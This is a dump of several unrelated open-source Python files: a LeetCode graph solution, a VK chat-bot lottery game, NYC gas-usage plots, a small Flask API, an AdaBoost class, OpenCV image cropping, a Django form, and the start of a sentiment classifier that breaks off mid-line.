3、edges[i].length == edge.length == 3\n * 4、0 <= from_i, to_i, from, to, node1, node2 <= n - 1\n * 5、1 <= edgeCost_i, edgeCost <= 10^6\n * 6、图中任何时候都不会有重边和自环。\n * 7、调用 addEdge 至多 100 次。\n * 8、调用 shortestPath 至多 100 次。\n * 链接:https://leetcode.cn/problems/design-graph-with-shortest-path-calculator/\n\"\"\"\nfrom typing import List\n\nINF = 0x3c3c3c3c\n\n\nclass Graph:\n\n def __init__(self, n: int, edges: List[List[int]]):\n self.n = n\n self.dis = [[0 if i == j else INF for i in range(n)] for j in range(n)]\n for f, t, v in edges:\n self.dis[f][t] = v\n # Floyed\n for k in range(n): # 遍历中间节点,此处必须放在最外层\n for i in range(n):\n for j in range(n):\n self.dis[i][j] = min(self.dis[i][j], self.dis[i][k] + self.dis[k][j])\n\n def addEdge(self, edge: List[int]) -> None:\n f, t, v = edge\n self.dis[f][t] = min(v, self.dis[f][t])\n for k in [f, t]:\n for i in range(self.n):\n for j in range(self.n):\n self.dis[i][j] = min(self.dis[i][j], self.dis[i][k] + self.dis[k][j])\n\n def shortestPath(self, node1: int, node2: int) -> int:\n d = self.dis[node1][node2]\n return d if d != INF else -1\n\n\nif __name__ == '__main__':\n #\n obj = Graph(4, [[0, 2, 5], [0, 1, 2], [1, 2, 1], [3, 0, 3]])\n print(obj.shortestPath(3, 2)) # 6\n print(obj.shortestPath(0, 3)) # -1\n obj.addEdge([1, 3, 4])\n print(obj.shortestPath(0, 3)) # 6\n","repo_name":"adanzl/leetcode-practice","sub_path":"py/q2600/Q2642.py","file_name":"Q2642.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74042566873","text":"from vk_auth import vk_session, VkBotEventType\nfrom data import users_info, change_users_info, main_keyboard\nfrom keyboard import get_callback_button, get_text_button\nimport json\nimport random\n\n\nclass GameLuck:\n start_keyboard = None\n\n def __init__(self):\n self.start_keyboard = str(json.dumps(\n {\n 'inline': False,\n 'one_time': True,\n 'buttons': [\n [get_callback_button('Случайное число', 'positive', {'args': 'random_number'})],\n [get_callback_button('3 из 9', 'positive', {'args': 'three_out_of_nine'})],\n [get_callback_button('Назад', 'negative', {'args': 'back'})]\n ]\n },\n ensure_ascii=False))\n\n def process_event(self, event):\n \"\"\" Обработка сообщений от пользователя для игры \"Математика\"\n\n :param event: событие, пришедшее в VkBotLongPoll\n :type event: :class:`Event`\n \"\"\"\n if event is None:\n return\n\n if event.type == VkBotEventType.MESSAGE_EVENT:\n user_id = str(event.obj.user_id)\n\n method = users_info.get(user_id, {}).get('method')\n args = event.obj.payload.get('args')\n\n if method == 'start':\n if args == 'back':\n vk_session.method('messages.send',\n {'user_id': int(user_id),\n 'message': 'Сегодня твой удачный день! Приходи еще!',\n 'random_id': 0, 'keyboard': main_keyboard})\n change_users_info(user_id, 'autoresponder')\n return\n else:\n self.start(user_id, args)\n\n elif method == 'random_number':\n self.random_number(user_id, args)\n\n elif method == 'three_out_of_nine':\n self.three_out_of_nine(user_id, args)\n\n elif event.type == VkBotEventType.MESSAGE_NEW:\n user_id = str(event.obj.from_id)\n message = event.obj.text.lower()\n method = users_info.get(user_id, {}).get('method', None)\n args = users_info.get(user_id, {}).get('args', None)\n\n if method == 'random_number':\n self.random_number(user_id, args, message)\n\n if method == 'three_out_of_nine':\n self.three_out_of_nine(user_id, args, message)\n\n def start(self, user_id, args=None):\n user_id = str(user_id)\n\n if args == 'random_number':\n change_users_info(user_id, new_method=args)\n self.random_number(user_id)\n return\n elif args == 'three_out_of_nine':\n change_users_info(user_id, new_method=args)\n self.three_out_of_nine(user_id)\n return\n else:\n message = f'~Честные лотереи~\\n\\n' \\\n f'Выберите игру.\\n' \\\n f'Для возврата выберите кнопку \"Назад\"\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n vk_session.method('messages.send',\n {'user_id': int(user_id), 'message': message,\n 'random_id': 0,\n 'keyboard': self.start_keyboard})\n\n change_users_info(user_id, new_method='start')\n\n def random_number(self, user_id, args=None, number=None):\n keyboard = None\n\n if args == 'back':\n change_users_info(user_id, new_method='start')\n self.start(user_id)\n return\n\n elif args == 'rules':\n message = 'Правила игры \"Случайное число\".\\n' \\\n 'Я загадываю случайное число от 100 до 999. ' \\\n 'Ты, пытаясь угадать это число, называешь свой вариант - число от 100 до 999. ' \\\n 'Начисление приза производится по следующей схеме:\\n\\n' \\\n 'Угадано:\\n' \\\n '3 цифры из 3 на своих местах - 20💰\\n' \\\n '2 цифры из 3 на своих местах - 10💰\\n' \\\n '3 цифры из 3, но только 1 на своем месте - 8💰\\n' \\\n '2 цифры из 3, но только 1 на своем месте - 5💰\\n' \\\n '1 цифру из 3 на своем месте - 3💰\\n' \\\n '3 цифры из 3, но ни одна не на своем месте - 3💰\\n\\n' \\\n 'Стоимость игры: 1💰'\n\n elif args == 'play':\n number = number.strip() if number is not None else None\n\n if number is not None and number.isdigit() and 100 <= int(number) <= 999:\n users_info[user_id]['balance'] -= 1\n answer = str(random.randint(100, 999))\n\n if number == answer:\n users_info[user_id]['balance'] += 20\n message = f'Браво! Вы угадали мое число и выиграли 20💰!\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n elif (number[0] == answer[0] and (number[1] == answer[1] or number[2] == answer[2])) or \\\n (number[1] == answer[1] and number[2] == answer[2]):\n users_info[user_id]['balance'] += 10\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'Вы угадали 2 цифры из 3 на своих местах и выиграли 10💰\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n elif set(number) == set(answer) and \\\n (number[0] == answer[0] or number[1] == answer[1] or number[2] == answer[2]):\n users_info[user_id]['balance'] += 8\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'��ы угадали 3 цифры из 3, но только 1 на своем месте, и выиграли 8💰\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n elif (number[0] == answer[0] and (number[1] == answer[2] or number[2] == answer[1])) or \\\n (number[1] == answer[1] and (number[0] == answer[2] or number[2] == answer[0])) or \\\n (number[2] == answer[2] and (number[0] == answer[1] or number[1] == answer[0])):\n users_info[user_id]['balance'] += 5\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'Вы угадали 2 цифры из 3, но только 1 на своем месте, и выиграли 5💰\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n elif number[0] == answer[0] or number[1] == answer[1] or number[2] == answer[2]:\n users_info[user_id]['balance'] += 3\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'Вы угадали 1 цифру из 3 на своем месте и выиграли 3💰\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n elif set(number) == set(answer):\n users_info[user_id]['balance'] += 3\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'Вы угадали 3 цифры из 3, но ни одна не на своем месте, и выиграли 3💰\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n else:\n message = f'Я загадал число \"{answer}\".\\n' \\\n f'К сожалению, в этот раз Вы ничего не выиграли, но в следующий раз Вам обязательно повезет!\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n change_users_info(user_id, new_method='random_number')\n\n elif users_info.get(user_id, {}).get('balance', 0) >= 1:\n change_users_info(user_id, new_method='random_number', new_args='play')\n message = 'Назовите число от 100 до 999'\n\n else:\n message = f'Недостаточно 💰 для игры\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n change_users_info(user_id, new_method='random_number')\n\n else:\n keyboard = str(json.dumps(\n {\n 'inline': False,\n 'one_time': False,\n 'buttons': [\n [get_callback_button('Играть (1💰)', 'positive', {'args': 'play'})],\n [get_callback_button('Правила', 'primary', {'args': 'rules'}),\n get_callback_button('Назад', 'negative', {'args': 'back'})]\n ]\n },\n ensure_ascii=False))\n\n message = '~Случайное число~\\n\\n' \\\n 'Выберите действие.\\n' \\\n 'Для возврата выберите кнопку \"Назад\"'\n\n vk_session.method('messages.send',\n {'user_id': int(user_id), 'message': message,\n 'random_id': 0,\n 'keyboard': keyboard})\n\n def three_out_of_nine(self, user_id, args=None, msg=None):\n keyboard = str(json.dumps(\n {\n 'one_time': True,\n 'buttons': [\n [get_text_button('Играть (1💰)', 'positive')],\n [get_callback_button('Правила', 'primary', {'args': 'rules'}),\n get_callback_button('Назад', 'negative', {'args': 'back'})]\n ]\n },\n ensure_ascii=False))\n\n if args == 'back':\n change_users_info(user_id, new_method='start')\n self.start(user_id)\n return\n\n elif args == 'rules':\n message = 'Правила игры \"3 из 9\".\\n' \\\n 'Я загадываю 3 разных числа от 1 до 9. ' \\\n 'Твоя задача выяснить, какие 3 числа я загадал, выбирая соответствующие числа на клавиатуре. ' \\\n 'Начисление приза производится по следующей схеме:\\n\\n' \\\n 'Угадано:\\n' \\\n '3 числа из 3 - 5💰\\n' \\\n '2 числа из 3 - 3💰\\n' \\\n '1 число из 3 - 2💰\\n\\n' \\\n 'Стоимость игры: 1💰'\n\n elif msg is not None:\n if msg == 'играть (1💰)':\n if users_info.get(user_id, {}).get('balance', 0) >= 1:\n users_info[user_id]['balance'] -= 1\n\n users_info[user_id]['args'] = {}\n users_info[user_id]['args']['play'] = True\n users_info[user_id]['args']['keyboard'] = ['secondary'] * 9\n users_info[user_id]['args']['answer'] = random.sample(range(1, 10), 3)\n users_info[user_id]['args']['count'] = 0\n\n message = 'Я загадал 3 числа. Выбор за тобой!'\n keyboard = self.get_keyboard(user_id)\n\n users_info[user_id]['args']['message_id'] = vk_session.method('messages.send',\n {'user_id': int(user_id),\n 'message': message,\n 'random_id': 0,\n 'keyboard': keyboard})\n return\n\n else:\n message = f'Недостаточно 💰 для игры\\n' \\\n f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n else:\n return\n\n elif users_info.get(user_id, {}).get('args', {}) is not None and \\\n users_info.get(user_id, {}).get('args', {}).get('play', False) and str(args).isdigit():\n if users_info[user_id]['args']['keyboard'][args - 1] != 'secondary':\n message = f'Вы уже выбрали число {args}.'\n else:\n users_info[user_id]['args']['count'] += 1\n if args in users_info[user_id]['args']['answer']:\n message = f'Ура! Число \"{args}\" есть в моем списке!'\n users_info[user_id]['args']['keyboard'][args - 1] = 'positive'\n else:\n message = f'Эх.. Числа \"{args}\" нет в моем списке!'\n users_info[user_id]['args']['keyboard'][args - 1] = 'negative'\n\n keyboard = self.get_keyboard(user_id)\n\n if users_info[user_id]['args']['count'] == 3:\n count = users_info[user_id]['args']['keyboard'].count('positive')\n answer = users_info[user_id]['args']['answer']\n message += f'\\n\\nИгра окончена.\\n' \\\n f'Я загадал числа \"{answer[0]}, {answer[1]}, {answer[2]}\"\\n'\n if count == 3:\n users_info[user_id]['balance'] += 5\n message += f'Угадано 3 числа из 3.\\n Выигрыш: 5💰\\n'\n elif count == 2:\n users_info[user_id]['balance'] += 3\n message += f'Угадано 2 числа из 3.\\n Выигрыш: 3💰\\n'\n elif count == 1:\n users_info[user_id]['balance'] += 2\n message += f'Угадано 1 число из 3.\\n Выигрыш: 2💰\\n'\n else:\n message += f'Увы, ни одно число не угадано.\\n'\n\n message += f'Ваш баланс: {round(users_info.get(user_id, {}).get(\"balance\", 0), 2)}💰\\n'\n\n vk_session.method('messages.edit',\n {'peer_id': int(user_id), 'message': message,\n 'message_id': users_info.get(user_id, {}).get('args', {}).get('message_id', 0),\n 'random_id': 0,\n 'keyboard': keyboard})\n\n if users_info[user_id]['args']['count'] == 3:\n users_info[user_id]['args'] = None\n self.three_out_of_nine(user_id)\n\n return\n\n else:\n message = '~3 из 9~\\n\\n' \\\n 'Выберите действие.\\n' \\\n 'Для возврата выберите кнопку \"Назад\"'\n\n vk_session.method('messages.send',\n {'user_id': int(user_id), 'message': message,\n 'random_id': 0,\n 'keyboard': keyboard})\n\n @staticmethod\n def get_keyboard(user_id):\n keyboard = {\n 'inline': True,\n 'buttons': [[], [], []]\n }\n\n if users_info.get(user_id, {}).get('args', {}).get('keyboard', None) is None:\n return None\n\n for i, c in enumerate(users_info[user_id]['args']['keyboard']):\n keyboard['buttons'][i // 3] += [get_callback_button(i + 1, c, {'args': i + 1})]\n\n return str(json.dumps(keyboard, ensure_ascii=False))\n","repo_name":"AmerigoMigliore/VK_bot","sub_path":"game_luck.py","file_name":"game_luck.py","file_ext":"py","file_size_in_byte":16804,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10996349989","text":"'''\nUse 2010 NYC gas usage data from nyc open data\n'''\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport geopandas as gpd\nimport os\n\ndef trunc_val(x):\n if len(x) > 5:\n return x[0:5]\n else:\n return x\n\ndef title_change(x):\n if x == 'Large residential' or x=='Large Residential' or x=='Small residential':\n return 'Residential'\n else:\n return x\n\n# import zipcode shape file data from US census bureau\npath = os.getcwd()\nzip_geo = gpd.read_file(os.path.join(path,\"zipcode/ZIP_CODE_040114.shp\"))\n\n# import natural gas consumption\nngdf = pd.read_csv(\"Natural_Gas_Consumption_by_ZIP_Code_-_2010.csv\")\nngdf = ngdf.rename(columns={'Zip Code':'ZIPCODE',' Consumption (therms) ':'Consumption(therms)','Building type (service class':'BuildingType'})\n\n# clean zip code data points by truncating\nngdf['ZIPCODE'] = ngdf['ZIPCODE'].apply(trunc_val)\n\n# typecast object zipcode to INT\nngdf['ZIPCODE'] = ngdf['ZIPCODE'].astype(int)\nzip_geo['ZIPCODE'] = zip_geo['ZIPCODE'].astype(int)\n\n# consolidate building types definitions\nngdf['BuildingType'] = ngdf['BuildingType'].apply(title_change)\n\n# merge national gas data onto shape file dataframe\nmerged = zip_geo.merge(ngdf,on='ZIPCODE')\n\n# plot consumptions(therms) data\nf, ax = plt.subplots(1,figsize=(10,10))\nvar = 'Consumption(therms)'\n\nax = merged.plot(ax=ax,column=var,legend=True,\n legend_kwds = {'label':'Consumption (therms)'},\n cmap='summer',\n edgecolor='black',\n linewidth=0.2)\nax.axis(\"off\")\nplt.title('2010 Natural Gas Consumption in NYC by Zip Code',fontsize=18)\nplt.tight_layout()\nplt.savefig('Gas_Consump_ZIP.png',dpi=300)\n\n# plot utility service distribution\nprint(ngdf.columns)\nf, ax = plt.subplots(1,figsize=(6,6))\nax = sns.countplot(ngdf['Utility/Data Source'])\nfor p in ax.patches:\n ax.annotate(\n int(p.get_height()),\n (p.get_x() + p.get_width() / 2., p.get_height()),\n ha='center',\n va='center',\n xytext=(0,7),\n textcoords='offset points'\n )\nplt.title('2010 Utility Provider Ditribution')\nplt.tight_layout()\n\n# plot building type count\nprint(ngdf.columns)\nf, ax = plt.subplots(1,figsize=(8,8))\nax = sns.countplot(ngdf['BuildingType'])\nfor p in ax.patches:\n ax.annotate(\n int(p.get_height()),\n (p.get_x() + p.get_width() / 2., p.get_height()),\n ha='center',\n va='center',\n xytext=(0,7),\n textcoords='offset points'\n )\nplt.title('2010 Building Type Distribution')\nplt.tight_layout()\n\n\n# plot distribution of gas usage by zipcode\nf, ax = plt.subplots(1, figsize=(6,6))\nsns.distplot(\n ngdf['Consumption(therms)'],\n kde=False\n )\nplt.title('2010 Distribution of Natural Gas Consumption(therms)')\n\n# Gas usage by building type vs zipcode\nf, ax = plt.subplots(1, figsize=(8,8))\ntypes = ngdf['BuildingType'].unique()\n\nsns.boxplot(data=ngdf,x=\"ZIPCODE\",y=\"Consumption(therms)\",hue=\"BuildingType\")\n","repo_name":"nasriv/NYC_GasUsage","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17328841421","text":"from json import dumps\nfrom flask import Flask, request\nfrom flask_cors import CORS\n\nAPP = Flask(__name__)\nCORS(APP)\n\nname_data = {\n 'name': [] \n }\n\n@APP.route(\"/name/add\", methods=['POST'])\ndef add_name():\n added_name = request.form.get('name')\n name_data['name'].append(added_name) \n\n\n@APP.route(\"/names\", methods=['GET'])\ndef list_all_names():\n return dumps(name_data)\n\n\n@APP.route(\"/name/remove\", methods=['DELETE'])\ndef remove_name():\n name_removed = request.form.get('name')\n name_data['name'].remove(name_removed)\n\n\n@APP.route(\"/names/clear\", methods=['DELETE'])\ndef clear_all_names():\n name_data['name'].clear() \n\n\nif __name__ == '__main__':\n APP.run()\n","repo_name":"AyushGupta48/Python_Codes","sub_path":"COMP1531/Lab05/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11701243061","text":"import numpy as np\nfrom ..base import BaseEstimator\nfrom typing import Callable, NoReturn\nfrom ..metrics import misclassification_error\n\n\nclass AdaBoost(BaseEstimator):\n \"\"\"\n AdaBoost class for boosting a specified weak learner\n\n Attributes\n ----------\n self.wl_: Callable[[], BaseEstimator]\n Callable for obtaining an instance of type BaseEstimator\n\n self.iterations_: int\n Number of boosting iterations to perform\n\n self.models_: List[BaseEstimator]\n List of fitted estimators, fitted along the boosting iterations\n \"\"\"\n\n def __init__(self, wl: Callable[[], BaseEstimator], iterations: int):\n \"\"\"\n Instantiate an AdaBoost class over the specified base estimator\n\n Parameters\n ----------\n wl: Callable[[], BaseEstimator]\n Callable for obtaining an instance of type BaseEstimator\n\n iterations: int\n Number of boosting iterations to perform\n \"\"\"\n super().__init__()\n self.wl_ = wl\n self.iterations_ = iterations\n self.models_, self.weights_, self.D_ = None, None, None\n\n def _fit(self, X: np.ndarray, y: np.ndarray) -> NoReturn:\n \"\"\"\n Fit an AdaBoost classifier over given samples\n\n Parameters\n ----------\n X : ndarray of shape (n_samples, n_features)\n Input data to fit an estimator for\n\n y : ndarray of shape (n_samples, )\n Responses of input data to fit to\n \"\"\"\n m = X.shape[0]\n self.D_ = np.ones(shape=m) / m\n self.models_ = np.empty(shape=self.iterations_, dtype=BaseEstimator)\n self.weights_ = np.empty(shape=self.iterations_)\n for t in range(self.iterations_):\n wl_t = self.wl_().fit(X, y * self.D_)\n self.models_[t] = wl_t\n pred_t = wl_t.predict(X)\n epsilon_t = np.sum(self.D_ * (pred_t != y).astype(int))\n self.weights_[t] = .5 * np.log((1/epsilon_t) - 1)\n self.D_ *= np.exp(-y * (self.weights_[t] * pred_t))\n self.D_ /= np.sum(self.D_)\n\n def _predict(self, X):\n \"\"\"\n Predict responses for given samples using fitted estimator\n\n Parameters\n ----------\n X : ndarray of shape (n_samples, n_features)\n Input data to predict responses for\n\n Returns\n -------\n responses : ndarray of shape (n_samples, )\n Predicted responses of given samples\n \"\"\"\n return self.partial_predict(X, self.iterations_)\n\n def _loss(self, X: np.ndarray, y: np.ndarray) -> float:\n \"\"\"\n Evaluate performance under misclassification loss function\n\n Parameters\n ----------\n X : ndarray of shape (n_samples, n_features)\n Test samples\n\n y : ndarray of shape (n_samples, )\n True labels of test samples\n\n Returns\n -------\n loss : float\n Performance under missclassification loss function\n \"\"\"\n return self.partial_loss(X, y, self.iterations_)\n\n def partial_predict(self, X: np.ndarray, T: int) -> np.ndarray:\n \"\"\"\n Predict responses for given samples using fitted estimators\n\n Parameters\n ----------\n X : ndarray of shape (n_samples, n_features)\n Input data to predict responses for\n\n T: int\n The number of classifiers (from 1,...,T) to be used for prediction\n\n Returns\n -------\n responses : ndarray of shape (n_samples, )\n Predicted responses of given samples\n \"\"\"\n if T > self.iterations_ or T <= 0:\n raise ValueError(\"T must be in range [1, number of fitted models].\")\n pred = np.zeros(shape=X.shape[0])\n for t in range(T):\n pred += self.weights_[t] * self.models_[t].predict(X)\n return np.where(pred >= 0, 1, -1)\n\n def partial_loss(self, X: np.ndarray, y: np.ndarray, T: int) -> float:\n \"\"\"\n Evaluate performance under misclassification loss function\n\n Parameters\n ----------\n X : ndarray of shape (n_samples, n_features)\n Test samples\n\n y : ndarray of shape (n_samples, )\n True labels of test samples\n\n T: int\n The number of classifiers (from 1,...,T) to be used for prediction\n\n Returns\n -------\n loss : float\n Performance under missclassification loss function\n \"\"\"\n if T > self.iterations_ or T <= 0:\n raise ValueError(\"T must be in range [1, number of fitted models].\")\n return misclassification_error(np.where(y >= 0, 1, -1),\n self.partial_predict(X, T))\n","repo_name":"OmriBenbenisty/IML.HUJI","sub_path":"IMLearn/metalearners/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"71810513752","text":"import cv2\nimport numpy as np\nimport os\n\ndef find_largest_contour(image):\n # 寻找轮廓\n contours, _ = cv2.findContours(image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n \n # 寻找最大的轮廓\n largest_contour = max(contours, key=cv2.contourArea)\n \n return largest_contour\n\ndef draw_bounding_box(image, contour):\n # 计算最小外接矩形\n x, y, w, h = cv2.boundingRect(contour)\n\n # 缩小矩形框的高宽\n padding = 5\n x += padding\n y += padding\n w -= 2 * padding\n h -= 2 * padding\n\n # 绘制矩形框\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n \n return image\n\n\ndef cut_image_bounding_box(image, contour):\n # 计算最小外接矩形\n x, y, w, h = cv2.boundingRect(contour)\n\n # 缩小矩形框的高宽\n padding = 10\n x += padding\n y += padding\n w -= 2 * padding\n h -= 2 * padding\n\n # 裁剪图像\n cropped_image = image[y:y+h, x:x+w]\n \n return cropped_image\n\n\n\n# 其目的是排除右上角字符的影响\n# 把右上角变为黑色补丁,先新建白色图片,绘制右上角黑色补丁,然后和相 与(and),就能得到右上角遮挡\ndef right_up_black(image): # 传入三通道原图\n\n # 获取原始图像的大小\n height, width = image.shape[:2]\n\n # 创建一个新的画布,大小与原始图像相同\n canvas = np.zeros_like(image)\n\n # 取反画布,将黑色区域变为白色\n canvas = cv2.bitwise_not(canvas)\n\n # 定义矩形区域的大小和颜色\n rectangle_width = int(width * 0.25)\n rectangle_height = int(height * 0.25)\n rectangle_color = (0, 0, 0) # 黑色\n\n # 在画布上绘制矩形区域\n canvas[:rectangle_height, width-rectangle_width:] = rectangle_color\n\n # 将原始图像覆盖到画布上\n image = cv2.bitwise_and(image, canvas)\n\n return image\n\n\n# 指定原始图像文件夹和目标保存文件夹\ninput_folder = './step0/JPEGImages/'\ninput_segmentation_folder = './step0/SegmentationClassPNG/'\n\noutput_folder = './step1/JPEGImages/'\noutput_segmentation_folder = './step1/SegmentationClassPNG/'\n\n# 确保目标保存文件夹存在\nos.makedirs(output_folder, exist_ok=True)\n\n# 遍历原始图像文件夹中的所有文件\nfor filename in os.listdir(input_folder):\n if filename.endswith('.jpg') or filename.endswith('.png'):\n # 构建原始图像文件的完整路径\n input_path = os.path.join(input_folder, filename)\n input_segmentation_path = os.path.join(input_segmentation_folder, filename[:-4] + \".png\")\n\n # 读取原始图像\n img = cv2.imread(input_path)\n segmentation_img = cv2.imread(input_segmentation_path)\n\n # 转换为灰度图像\n gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # 创建腐蚀核(结构元素)\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)) # 此处使用矩形结构元素\n\n # 对图像进行腐蚀\n gray_image = cv2.erode(gray_image, kernel, iterations=1)\n\n # 进行二值化处理\n _, binary_image = cv2.threshold(gray_image, 30, 255, cv2.THRESH_BINARY)\n\n # 寻找最大的白色区域\n largest_contour = find_largest_contour(binary_image)\n\n # 在原图上绘制矩形框\n image_with_box = draw_bounding_box(img.copy(), largest_contour)\n\n # 裁剪出矩形框中的内容\n image_with_box = cut_image_bounding_box(img.copy(), largest_contour)\n segmentation_image_with_box = cut_image_bounding_box(segmentation_img.copy(), largest_contour)\n\n # 构建目标保存文件的完整路径\n output_path = os.path.join(output_folder, filename)\n\n output_segmentation_path = os.path.join(output_segmentation_folder, filename[:-4] + \".png\")\n\n # 保存图像到目标保存文件夹中\n cv2.imwrite(output_path, image_with_box)\n cv2.imwrite(output_segmentation_path, segmentation_image_with_box)\n\n print(f'Saved: {output_path}')\n print(f'Saved: {output_segmentation_path}')\n\nprint('Image processing and saving complete.')\n\n\n","repo_name":"liuqi34584/FIC","sub_path":"four_corner_mirror/step1_find_maxarea.py","file_name":"step1_find_maxarea.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33757241517","text":"from django.forms import (\n CheckboxSelectMultiple,\n ModelForm,\n ModelMultipleChoiceField,\n Select,\n TextInput,\n)\n\nfrom apps.destinacao.models import Destinacao\nfrom apps.fornecedor.models import Fornecedor, TipoFornecedor\nfrom apps.utils.models import EmptyCidadeMixin\n\n\nclass FornecedorForm(EmptyCidadeMixin, ModelForm):\n id_destinacao = ModelMultipleChoiceField(\n label=\"Destinação\",\n queryset=Destinacao.objects.all(),\n widget=CheckboxSelectMultiple(attrs={\"class\": \"form-check-input mb-0\"}),\n required=False,\n )\n\n id_tp_fornecedor = ModelMultipleChoiceField(\n label=\"Tipo de Fornecedor\",\n queryset=TipoFornecedor.objects.all(),\n widget=CheckboxSelectMultiple(attrs={\"class\": \"form-check-input mb-0\"}),\n required=False,\n )\n\n class Meta:\n model = Fornecedor\n\n fields = [\"nome\", \"estado\", \"id_cidade\", \"id_tp_fornecedor\", \"id_destinacao\"]\n labels = {\n \"nome\": \"Nome\",\n \"estado\": \"Estado\",\n \"id_cidade\": \"Cidade\",\n \"id_tp_fornecedor\": \"Tipo de Fornecedor\",\n \"id_destinacao\": \"Destinação\",\n }\n\n widgets = {\n \"nome\": TextInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Nome do Fornecedor\",\n },\n ),\n \"estado\": Select(\n attrs={\n \"class\": \"form-select\",\n },\n ),\n \"id_cidade\": Select(\n attrs={\n \"class\": \"form-select\",\n },\n ),\n }\n","repo_name":"jtsilverio/django-gestao-ambiental","sub_path":"apps/fornecedor/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36656698460","text":"class Elev:\n def __init__(self, namn, ålder, godkänd):\n self.namn = namn\n self.ålder = ålder\n self.godkänd = godkänd\n self.glad = False\n\n if self.godkänd:\n self.glad = True\n \n def presentera(self):\n return f\"Hej! Jag heter {self.namn}.\"\n\n\nhej = Elev(\"Simon\", 55, True)\ndå = Elev(\"Johan\", 77, False)\n\n\nprint(hej.namn)\nprint(hej.ålder)\nprint(hej.glad)\nprint(hej.presentera())\nprint(då.presentera())\n","repo_name":"CodeIsMyMiddleName/Prog2-LeoNordstrand","sub_path":"Objektorientering_övningsuppgift.py","file_name":"Objektorientering_övningsuppgift.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40960101278","text":"from stemming.porter2 import stem\nimport sys\nimport numpy as np\nvocab = {}\n\nwith open(\"sentiment.txt\") as f:\n lines = f.readlines()\n for line in lines:\n line = line[:-1].lower()\n words = line.split(\" \")[1:]\n words = list(map(stem, words))\n for word in words:\n if word in vocab:\n vocab[word] += 1\n else:\n vocab[word] = 1\n\n\ndef build_idx(vocab):\n word2idx = {}\n count = 0\n for k, v in vocab.items():\n word2idx[k] = count\n count += 1\n assert count == len(vocab)\n return word2idx\n\n\ndef sentence2features(words, vocab, word2idx):\n N = len(vocab)\n x = np.zeros(N, dtype=np.int)\n for word in words:\n idx = word2idx[word]\n x[idx] += 1\n return x\n\n\nK = 13\nstopwords = sorted(vocab.items(), key=lambda x: x[1])[:: -1][: K]\nfor k, v in stopwords:\n print(k, v)\nstopwords_dict = dict(stopwords)\n\nprint(len(vocab))\nprint(vocab.get(\"like\"))\nword2idx = build_idx(vocab)\n\n\ndef is_stopword(x, stopwords_dict=stopwords_dict):\n if x in stopwords_dict:\n return True\n return False\n\n\ndef is_not_stopword(x, stopwords_dict=stopwords_dict):\n return not is_stopword(x, stopwords_dict)\n\n\nX = []\nY = []\nwith open(\"sentiment.txt\") as f:\n lines = f.readlines()\n for line in lines:\n line = line[: -1].lower()\n y, words = line.split(\" \")[0], line.split(\" \")[1:]\n y = 0 if (y == \"+1\") else 1\n words = list(map(stem, words))\n words = list(filter(is_not_stopword, words))\n x = sentence2features(words, vocab, word2idx)\n\n X.append(x)\n Y.append(y)\n\nX = np.array(X)\nY = np.array(Y)\n\nprint(X.shape)\nprint(Y.shape)\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\n\nX_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, test_size=0.33, random_state=12345)\n\n\nmodel = LogisticRegression(penalty=\"l2\", random_state=12345)\nmodel.fit(X_train, Y_train)\n\nY_hat = model.predict(X_test)\nprint(np.mean(Y_hat == Y_test))\n\nfrom sklearn.metrics import classification_report\n\nprint(classification_report(Y_test, 